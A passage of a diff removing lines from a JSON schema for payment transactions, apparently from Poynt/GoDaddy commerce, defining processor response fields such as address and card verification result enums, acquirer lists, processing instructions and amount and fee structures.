"type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "format": "int64", - "description": "Remaining balance amount" - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string", - "description": "Discriminator field representing the type of processor response" - } - }, - "required": [ - "processorType" - ] - }, - "processingInstructions": { - "description": "Processing instructions to be used while processing transaction", - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-processing-instruction.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Processing Instruction", - "type": "object", - "properties": { - "authOnly": { - "type": "boolean", - "default": false, - "writeOnly": true, - "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment" - }, - "partialAuthEnabled": { - "type": "boolean", - "default": true, - "writeOnly": true, - "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment" - }, - "statementDescriptorSuffix": { - "type": "string", - "writeOnly": true, - "description": "Transaction-level statement descriptor suffix. It's optional field. If parent transaction has data it will be used from parent transaction. If not provided then statement descriptor suffix from device/store/business level will be used." - }, - "storeAndForward": { - "type": "boolean", - "default": false, - "description": "Store and forward transaction. Used to identify if the transaction is online or offline" - } - } - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - }, - "legacyMetadata": { - "description": "Transaction metadata represented by legacy system", - "deprecated": true, - "$id": "https://poynt.godaddy.com/schemas/transaction/metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", - "$defs": { - "LegacyAdjustmentRecord": { - "type": "object", - "properties": { - "amountChanges": { - "description": "Total amount change in this adjustment.", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" - }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - } - }, - "required": [ - "amount", - "programType", - "type" - ] - } - ], - "discriminator": { - "propertyName": "feeType", 